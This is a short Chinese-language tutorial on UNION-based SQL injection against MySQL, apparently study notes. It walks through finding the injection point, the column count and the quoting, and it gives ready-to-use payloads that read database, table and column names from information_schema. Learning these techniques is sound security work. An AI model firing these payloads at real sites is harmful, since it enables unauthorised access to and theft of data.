聯合查詢注入利用的前提: 必須要有回顯
聯合查詢過程:
- 判斷是否存在注入點
- 判斷是什麼型別注入(字元型or數字型)
- 判斷閉合方式
- 查詢列數個數(order by)
5, 獲得資料庫名
- 獲得表名
- 獲得欄位名
1. 判斷是否存在注入點 可以用(')單引號顯示資料庫錯誤資訊或者頁面回顯不同
2. 判斷什麼型別(字元型or數字型) 用and 1=1和and 1=2 如果頁面沒有變化說明不是數字型 ,如果有明顯變化說明是數字型
3. 判斷閉合方式 單引號or雙引號..看報錯資訊、
4. 判斷列數個數(order by) order by在mysql中查詢結果是按照指定欄位進行排序的,例如資料庫中有3個欄位,order by查詢就是1,2,3
5. 檢視資料庫資訊and獲得資料庫名 使用group_concat()
基本語句:
1' union select 1,(select database()),3--+
1' union select 1,(select group_concat(schema_name) from information_schema.schemata) --+
6. 獲得表名
基本語句:
0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
7. 獲得欄位名
基本語句:
0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='表名'),3 --+